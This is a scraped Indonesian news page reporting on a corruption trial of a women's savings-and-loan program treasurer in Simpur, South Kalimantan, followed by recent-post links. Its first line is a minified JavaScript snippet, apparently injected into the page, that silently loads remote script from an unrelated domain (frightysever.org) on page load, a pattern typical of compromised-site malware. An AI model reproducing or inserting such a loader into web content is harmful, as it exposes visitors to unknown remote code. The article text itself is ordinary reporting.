(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Bendahara UPK Kecamatan Simpur Disidang Kasus Penyalahgunaan Dana SPP


KANALKALIMANTAN.COM, BANJARMASIN – Kasus dugaan penyalahgunaan dana Simpan Pinjam Perempuan (SPP) Kecamatan Simpur, Kabupaten Hulu Sungai Selatan (HSS), Kalimantan Selatan menyeret terdakwa baru.

Sri Agustina Hidayati, Bendahara Unit Pengelola Kegiatan (UPK) Kecamatan Simpur diadili di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin. Dia terlibat dalam penyalahgunaan program Simpan Pinjam Perempuan (SPP).

Sidang dengan agenda pembacaan surat dakwaan dipimpin oleh ketua majelis hakim Irfanul Hakim SH MH didampingi dua hakim anggota.

Jaksa Penuntut Umum (JPU) dari Kejari HSS Widodo mengatakan, Sri Agustina didakwa memperkaya diri sendiri atau orang lain dalam program SPP Program Nasional Pemberdayaan Masyarakat (PNPM) Mandiri Pedesaan di Kecamatan Simpur.

Baca juga: Tim Banjarbaru Hanyar Siapkan Empat Ahli di Sidang Gugatan MK

Saat menjabat sebagai Bendahara UPK di Kecamatan Simpur pada 2016-2023, terdakwa diduga menyalahgunakan pinjaman kepada penerima yang tidak tepat sasaran.

Hal itu tidak seusai ketentuan yang berlaku Surat Mendagri Nomor 414.2/3101/PMD tanggal 24 April 2014 perihal Petunjuk Teknis Operasional (PTO) PNPM Mandiri Perdesaan tahun 2014.

Akibat dari perbuatan terdakwa bersama saksi bernama Marwan selaku Sekretaris UPK Simpur (menjalani tuntutan terpisah) menyebabkan kerugian negara hingga ratusan juta rupiah.

“Berdasarkan laporan audit penghitungan kerugian negara BPKP Provinsi Kalsel tanggal 2 September 2023, yaitu sebesar Rp512.825.00,” kata Widodo saat sidang dakwaan, Rabu (15/1/2025).

Baca juga: 11 Remaja Tawuran di Cempaka Dipulangkan Polisi, Dibawah Umur Orangtua Dipanggil

Dalam dakwaan, JPU menjerat terdakwa Sri Agustina dengan pasal 2 ayat (1) jo pasal 18 ayat (2) dan (3) Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) ke-1 KUHP jo pasal 64 ayat (1) KUHP, sebagai dakwan primair.

Sedangkan dakwaan subsidair dipasang pasal 3 jo pasal 18 ayat (2) dan (3) Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) ke-1 KUHP jo pasal 64 ayat (1) KUHP. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.